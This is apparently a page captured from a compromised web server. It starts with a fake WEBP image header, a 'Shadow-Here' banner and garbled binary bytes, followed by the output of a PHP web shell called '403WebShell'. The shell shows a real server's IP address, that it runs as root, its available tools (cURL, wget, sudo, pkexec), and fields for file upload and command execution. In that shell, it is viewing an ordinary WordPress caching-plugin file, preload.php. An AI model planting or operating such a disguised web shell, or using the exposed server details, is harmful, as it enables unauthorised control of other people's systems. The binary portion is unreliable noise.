RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/advanced-air/wp-content/plugins/wp-fastest-cache/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/advanced-air/wp-content/plugins/wp-fastest-cache/inc/preload.php
<?php
	class PreloadWPFC{
		private static $exclude_rules = false;

		public static function wpml_get_permalink($post_id, $permalink){
			$my_post_language_details = apply_filters( 'wpml_post_language_details', NULL, $post_id) ;

			if(is_array($my_post_language_details) && isset($my_post_language_details["language_code"])){
				$wpml_permalink = apply_filters( 'wpml_permalink', $permalink , $my_post_language_details["language_code"] ); 

				return $wpml_permalink;
			}

			return $permalink;
		}

		public static function set_preload($slug){
			$preload_arr = array();

			if(!empty($_POST) && isset($_POST["wpFastestCachePreload"])){
				if(!current_user_can('manage_options')){
					wp_die("Must be admin");
				}

				if(isset($_POST["wpFastestCachePreload_sitemap"]) && $_POST["wpFastestCachePreload_sitemap"]){
					$sitemap_url = explode(",", $_POST["wpFastestCachePreload_sitemap"]);
					$sitemap_arr = array();

					foreach ($sitemap_url as $s_key => $s_value) {
						$s_value = esc_url($s_value);

						array_push($sitemap_arr, array("url" => $s_value, "pointer" => 0));
					}

					$preload_arr["sitemaps"] = $sitemap_arr;
				}else{
					foreach ($_POST as $key => $value) {
						$key = esc_attr($key);
						$value = esc_attr($value);
						
						preg_match("/wpFastestCachePreload_(.+)/", $key, $type);

						if(!empty($type)){
							if($type[1] == "restart" || $type[1] == "sitemap"){
								//to need to remove "restart" value
							}else if($type[1] == "number"){
								$preload_arr[$type[1]] = $value; 
							}else{
								$preload_arr[$type[1]] = 0; 
							}
						}
					}
				}
			}

			if($data = get_option("WpFastestCachePreLoad")){
				$preload_std = json_decode($data);

				if(isset($preload_std->sitemaps)){
					if(!empty($preload_arr)){

						for ($i=0; $i < count($preload_arr["sitemaps"]) ; $i++) {
							for ($j=0; $j < count($preload_std->sitemaps); $j++) {
								if($preload_arr["sitemaps"][$i]["url"] == $preload_std->sitemaps[$j]->url){

									if(isset($preload_std->sitemaps[$j]->pointer)){
										$preload_arr["sitemaps"][$i]["pointer"] = $preload_std->sitemaps[$j]->pointer;
									}

									if(isset($preload_std->sitemaps[$j]->total)){
										$preload_arr["sitemaps"][$i]["total"] = $preload_std->sitemaps[$j]->total;
									}

								}
							}
						}

						$preload_std = $preload_arr;

					}else{
						foreach ($preload_std->sitemaps as $s_key => $s_value) {
							$s_value->pointer = 0;
						}
					}
				}else{
					if(!empty($preload_arr)){
						foreach ($preload_arr as $key => &$value) {
							if(!empty($preload_std->$key)){
								if($key != "number"){
									$value = $preload_std->$key;
								}
							}
						}

						$preload_std = $preload_arr;
					}else{
						foreach ($preload_std as $key => &$value) {
							if($key != "number"){
								$value = 0;
							}
						}
					}
				}

				update_option("WpFastestCachePreLoad", json_encode($preload_std));

				if(!wp_next_scheduled($slug."_Preload")){
					wp_schedule_event(time() + 5, 'everyfiveminute', $slug."_Preload");
				}
			}else{
				if(!empty($preload_arr)){
					add_option("WpFastestCachePreLoad", json_encode($preload_arr), null, "yes");

					if(!wp_next_scheduled($slug."_Preload")){
						wp_schedule_event(time() + 5, 'everyfiveminute', $slug."_Preload");
					}
				}else{
					//toDO
				}
			}
			

		}

		public static function statistic($pre_load = false){
			$total = new stdClass();


			if(isset($pre_load->homepage)){
				$total->homepage = 1;
			}

			if(isset($pre_load->customposttypes)){
				global $wpdb;
				$post_types = get_post_types(array('public' => true), "names", "and"); 
				$where_query = "";

				foreach ($post_types as $post_type_key => $post_type_value) {
					if(!in_array($post_type_key, array("post", "page", "attachment"))){
						$where_query = $where_query.$wpdb->prefix."posts.post_type = '".$post_type_value."' OR ";
					}

				}

				if($where_query){
					$where_query = preg_replace("/(\s*OR\s*)$/", "", $where_query);
		    		
		    		$recent_custom_posts = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS  COUNT(".$wpdb->prefix."posts.ID) as total FROM ".$wpdb->prefix."posts  WHERE 1=1  AND (".$where_query.") AND ((".$wpdb->prefix."posts.post_status = 'publish'))  ORDER BY ".$wpdb->prefix."posts.ID", ARRAY_A);
		    		$total->customposttypes = $recent_custom_posts[0]["total"];
		    	}
			}

			if(isset($pre_load->post)){
				$count_posts = wp_count_posts("post", array('post_status' => 'publish', 'suppress_filters' => true));

				$total->post = $count_posts->publish;
			}

			if(isset($pre_load->attachment)){
				$total_attachments = wp_count_attachments();

				$total->attachment = array_sum((array)$total_attachments) - $total_attachments->trash;
			}




			if(isset($pre_load->page)){
				$count_pages = wp_count_posts("page", array('post_status' => 'publish', 'suppress_filters' => true));

				$total->page = $count_pages->publish;
			}

			if(isset($pre_load->category)){
				$total->category = wp_count_terms("category", array('hide_empty' => false));
			}

			if(isset($pre_load->tag)){
				$total->tag = wp_count_terms("post_tag", array('hide_empty' => false));
			}

			if(isset($pre_load->customTaxonomies)){
				$taxo = get_taxonomies(array('public' => true, '_builtin' => false), "names", "and");

				if(count($taxo) > 0){
					$total->customTaxonomies = wp_count_terms($taxo, array('hide_empty' => false));
				}
			}


			foreach ($total as $key => $value) {
				$pre_load->$key = $pre_load->$key == -1 ? $value : $pre_load->$key;
				echo esc_html($key).": ".esc_html($pre_load->$key)."/".esc_html($value)."<br>";
			}
		}

		public static function create_preload_cache_default($pre_load, $options){

			if(defined("WPFC_PRELOAD_NUMBER") && WPFC_PRELOAD_NUMBER){
				$number = WPFC_PRELOAD_NUMBER;
			}else{
				$number = $pre_load->number;
			}

			//START:ORDER
			if(isset($pre_load->order) && $pre_load->order){
				$order_arr = explode(",", $pre_load->order);
			}else{
				if(isset($options->wpFastestCachePreload_order) && $options->wpFastestCachePreload_order){
					$order_arr = explode(",", $options->wpFastestCachePreload_order);
				}
			}

			if(isset($order_arr) && is_array($order_arr)){
				foreach ($order_arr as $o_key => $o_value){
					if($o_value == "order" || $o_value == "number"){
						unset($order_arr[$o_key]);
					}

					if(!isset($pre_load->$o_value)){
						unset($order_arr[$o_key]);
					}

				}
				$order_arr = array_values($order_arr);
			}
			
			$current_order = isset($order_arr[0]) ? $order_arr[0] : "go";
			//START:END



			$urls_limit = isset($options->wpFastestCachePreload_number) ? $options->wpFastestCachePreload_number : 4; // must be even
			$urls = array();

			if(isset($options->wpFastestCacheMobileTheme) && $options->wpFastestCacheMobileTheme){
				$mobile_theme = true;
				$number = round($number/2);
			}else{
				$mobile_theme = false;
			}



			// HOME
			if(isset($current_order) && ($current_order == "homepage" || $current_order == "go")){
				if(isset($pre_load->homepage) && $pre_load->homepage > -1){
					if($mobile_theme){
						array_push($urls, array("url" => get_option("home"), "user-agent" => "mobile"));
						$number--;
					}

					array_push($urls, array("url" => get_option("home"), "user-agent" => "desktop"));
					$number--;
					
					$pre_load->homepage = -1;
				}
				
			}


			// CUSTOM POSTS
			if(isset($current_order) && ($current_order == "customposttypes" || $current_order == "go")){
				if($number > 0 && isset($pre_load->customposttypes) && $pre_load->customposttypes > -1){
		    		global $wpdb;
					$post_types = get_post_types(array('public' => true), "names", "and"); 
					$where_query = "";

					foreach ($post_types as $post_type_key => $post_type_value) {
						if(!in_array($post_type_key, array("post", "page", "attachment"))){
							$where_query = $where_query.$wpdb->prefix."posts.post_type = '".$post_type_value."' OR ";
						}

					}

					if($where_query){
						$where_query = preg_replace("/(\s*OR\s*)$/", "", $where_query);
			    		
			    		$recent_custom_posts = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS  ".$wpdb->prefix."posts.ID FROM ".$wpdb->prefix."posts  WHERE 1=1  AND (".$where_query.") AND ((".$wpdb->prefix."posts.post_status = 'publish'))  ORDER BY ".$wpdb->prefix."posts.ID DESC LIMIT ".$pre_load->customposttypes.", ".$number, ARRAY_A);

			    		if(count($recent_custom_posts) > 0){
			    			foreach ($recent_custom_posts as $key => $post) {
			    				if($mobile_theme){
			    					array_push($urls, array("url" => self::wpml_get_permalink($post["ID"], get_permalink($post["ID"])), "user-agent" => "mobile"));
			    					$number--;
			    				}

		    					array_push($urls, array("url" => self::wpml_get_permalink($post["ID"], get_permalink($post["ID"])), "user-agent" => "desktop"));
		    					$number--;

			    				$pre_load->customposttypes = $pre_load->customposttypes + 1;
			    			}
			    		}else{
			    			$pre_load->customposttypes = -1;
			    		}
					}
				}
			}


			// POST
			if(isset($current_order) && ($current_order == "post" || $current_order == "go")){
				if($number > 0 && isset($pre_load->post) && $pre_load->post > -1){
		    		// $recent_posts = wp_get_recent_posts(array(
								// 			'numberposts' => $number,
								// 		    'offset' => $pre_load->post,
								// 		    'orderby' => 'ID',
								// 		    'order' => 'DESC',
								// 		    'post_type' => 'post',
								// 		    'post_status' => 'publish',
								// 		    'suppress_filters' => true
								// 		    ), ARRAY_A);
		    		global $wpdb;
		    		$recent_posts = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS  ".$wpdb->prefix."posts.ID FROM ".$wpdb->prefix."posts  WHERE 1=1  AND (".$wpdb->prefix."posts.post_type = 'post') AND ((".$wpdb->prefix."posts.post_status = 'publish'))  ORDER BY ".$wpdb->prefix."posts.ID DESC LIMIT ".$pre_load->post.", ".$number, ARRAY_A);


		    		if(count($recent_posts) > 0){
		    			foreach ($recent_posts as $key => $post) {
		    				if($mobile_theme){
		    					array_push($urls, array("url" => self::wpml_get_permalink($post["ID"], get_permalink($post["ID"])), "user-agent" => "mobile"));
		    					$number--;
		    				}

	    					array_push($urls, array("url" => self::wpml_get_permalink($post["ID"], get_permalink($post["ID"])), "user-agent" => "desktop"));
	    					$number--;

		    				$pre_load->post = $pre_load->post + 1;
		    			}
		    		}else{
		    			$pre_load->post = -1;
		    		}
				}
			}



			// ATTACHMENT
			if(isset($current_order) && ($current_order == "attachment" || $current_order == "go")){
				if($number > 0 && isset($pre_load->attachment) && $pre_load->attachment > -1){
					global $wpdb;
		    		$recent_attachments = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS  ".$wpdb->prefix."posts.ID FROM ".$wpdb->prefix."posts  WHERE 1=1  AND (".$wpdb->prefix."posts.post_type = 'attachment') ORDER BY ".$wpdb->prefix."posts.ID DESC LIMIT ".$pre_load->attachment.", ".$number, ARRAY_A);

		    		if(count($recent_attachments) > 0){
		    			foreach ($recent_attachments as $key => $attachment) {
		    				if($mobile_theme){
		    					array_push($urls, array("url" => get_permalink($attachment["ID"]), "user-agent" => "mobile"));
		    					$number--;
		    				}

	    					array_push($urls, array("url" => get_permalink($attachment["ID"]), "user-agent" => "desktop"));
	    					$number--;

		    				$pre_load->attachment = $pre_load->attachment + 1;
		    			}
		    		}else{
		    			$pre_load->attachment = -1;
		    		}
				}
			}

			// PAGE
			if(isset($current_order) && ($current_order == "page" || $current_order == "go")){
				if($number > 0 && isset($pre_load->page) && $pre_load->page > -1){

					global $wpdb;
		    		$pages = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS  ".$wpdb->prefix."posts.ID FROM ".$wpdb->prefix."posts  WHERE 1=1  AND (".$wpdb->prefix."posts.post_type = 'page') AND ((".$wpdb->prefix."posts.post_status = 'publish'))  ORDER BY ".$wpdb->prefix."posts.ID DESC LIMIT ".$pre_load->page.", ".$number, ARRAY_A);


					if(count($pages) > 0){
						foreach ($pages as $key => $page) {
		    				if($mobile_theme){
		    					array_push($urls, array("url" => get_page_link($page["ID"]), "user-agent" => "mobile"));
		    					$number--;
		    				}

	    					array_push($urls, array("url" => get_page_link($page["ID"]), "user-agent" => "desktop"));
	    					$number--;

		    				$pre_load->page = $pre_load->page + 1;
						}
					}else{
						$pre_load->page = -1;
					}
				}
			}

			// CATEGORY
			if(isset($current_order) && ($current_order == "category" || $current_order == "go")){
				if($number > 0 && isset($pre_load->category) && $pre_load->category > -1){
					$categories = get_terms(array(
												'taxonomy'          => array('category'),
											    'orderby'           => 'id', 
											    'order'             => 'ASC',
											    'hide_empty'        => false, 
											    'number'            => $number, 
											    'fields'            => 'all', 
											    'pad_counts'        => false, 
											    'offset'            => $pre_load->category
											));

					if(count($categories) > 0){
						foreach ($categories as $key => $category) {
							$term_link = get_term_link($category->slug, $category->taxonomy);

							if(isset($term_link->errors)){
								continue;
							}

							if($mobile_theme){
								array_push($urls, array("url" => $term_link, "user-agent" => "mobile"));
								$number--;
							}

							array_push($urls, array("url" => $term_link, "user-agent" => "desktop"));
							$number--;

							$pre_load->category = $pre_load->category + 1;
						}

					}else{
						$pre_load->category = -1;
					}
				}
			}

			// TAG
			if(isset($current_order) && ($current_order == "tag" || $current_order == "go")){
				if($number > 0 && isset($pre_load->tag) && $pre_load->tag > -1){
					$tags = get_terms(array(
												'taxonomy'          => array('post_tag'),
											    'orderby'           => 'id', 
											    'order'             => 'ASC',
											    'hide_empty'        => false, 
											    'number'            => $number, 
											    'fields'            => 'all', 
											    'pad_counts'        => false, 
											    'offset'            => $pre_load->tag
											));

					if(count($tags) > 0){
						foreach ($tags as $key => $tag) {
							if($mobile_theme){
								array_push($urls, array("url" => get_term_link($tag->slug, $tag->taxonomy), "user-agent" => "mobile"));
								$number--;
							}

							array_push($urls, array("url" => get_term_link($tag->slug, $tag->taxonomy), "user-agent" => "desktop"));
							$number--;

							$pre_load->tag = $pre_load->tag + 1;

						}
					}else{
						$pre_load->tag = -1;
					}
				}
			}

			// Custom Taxonomies
			if(isset($current_order) && ($current_order == "customTaxonomies" || $current_order == "go")){
				if($number > 0 && isset($pre_load->customTaxonomies) && $pre_load->customTaxonomies > -1){
					$taxo = get_taxonomies(array('public'   => true, '_builtin' => false), "names", "and");

					if(count($taxo) > 0){
						$custom_taxos = get_terms(array(
								'taxonomy'          => array_values($taxo),
							    'orderby'           => 'id', 
							    'order'             => 'ASC',
							    'hide_empty'        => false, 
							    'number'            => $number, 
							    'fields'            => 'all', 
							    'pad_counts'        => false, 
							    'offset'            => $pre_load->customTaxonomies
							));

						if(count($custom_taxos) > 0){
							foreach ($custom_taxos as $key => $custom_tax) {
								if($mobile_theme){
									array_push($urls, array("url" => get_term_link($custom_tax->slug, $custom_tax->taxonomy), "user-agent" => "mobile"));
									$number--;
								}

								array_push($urls, array("url" => get_term_link($custom_tax->slug, $custom_tax->taxonomy), "user-agent" => "desktop"));
								$number--;

								$pre_load->customTaxonomies = $pre_load->customTaxonomies + 1;

							}
						}else{
							$pre_load->customTaxonomies = -1;
						}
